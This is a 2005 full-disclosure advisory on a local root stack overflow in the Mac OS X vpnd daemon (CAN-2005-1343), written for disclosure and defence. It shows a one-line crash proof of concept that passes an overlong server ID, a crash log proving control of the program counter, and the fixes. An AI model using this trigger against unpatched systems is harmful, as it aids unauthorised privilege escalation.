[Full-disclosure] Local root vuln in VPN daemon on MacOS X

Local root vulnerability in vpnd on MacOS X <= 10.3.9

Overview

There exists a local root exploitable stack based buffer overflow in the
VPN daemon shipping with MacOS X. This bug can be easily exploited to
gain root access.
This vulnerability has CVE ID CAN-2005-1343.

Exploitation

The overflow can only be exploited on a system having vpnd configured as
a server. The following shows a NON-exploitable vpnd installation:

host:/tmp root# vpnd -i bla
2005-05-04 15:12:54 CEST VPND: could not get servers dictionary
2005-05-04 15:12:54 CEST VPND: error processing prefs file

This is due to the non-existance of
/var/db/SystemConfiguration/com.apple.RemoteAccessServers.plist.

Anyway, on an exploitable system you'd get:

host:/tmp root# vpnd -i `perl -e 'print "A"x600'`
2005-05-04 15:16:41 CEST VPND: Server ID 'AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
invalid
Segmentation fault

The crashlog /Library/Logs/CrashReporter/vpnd.crash.log shows:

OS Version: 10.3.7 (Build 7S215)
Report Version: 2
Command: vpnd
Path: /usr/sbin/vpnd
Version: ??? (???)
PID: 12690
Thread: 0

Exception: EXC_BAD_ACCESS (0x0001)
Codes: KERN_INVALID_ADDRESS (0x0001) at 0x41414140

Thread 0 Crashed:

PPC Thread State:
srr0: 0x41414140 srr1: 0x4200f030 vrsave: 0x00000000
cr: 0x24000242 xer: 0x00000004 lr: 0x41414141 ctr: 0x900010a0
r0: 0x41414141 r1: 0xbffffbf0 r2: 0xa0192b50 r3: 0xffffffff
r4: 0x00300950 r5: 0x00402004 r6: 0x00402004 r7: 0x00000001
r8: 0x0000000f r9: 0xa00011ac r10: 0x00000013 r11: 0x44000244
r12: 0x900010a0 r13: 0x00000000 r14: 0x00000000 r15: 0x00000000
r16: 0x00000000 r17: 0x00000000 r18: 0x00000000 r19: 0x00000000
r20: 0x00000000 r21: 0x00000000 r22: 0x00000000 r23: 0x00000000
r24: 0x00000000 r25: 0x00000000 r26: 0xbffffce4 r27: 0x00000014
r28: 0x41414141 r29: 0x41414141 r30: 0x41414141 r31: 0x41414141

Fix

Apply Security Update 2005-005 (which fixes quite a few other bugs,
too), remove the suid bit or remove the above mentioned config file.
More information about said security update can be found at:
http://docs.info.apple.com/article.html?artnum=301528

–
Pieter de Boer

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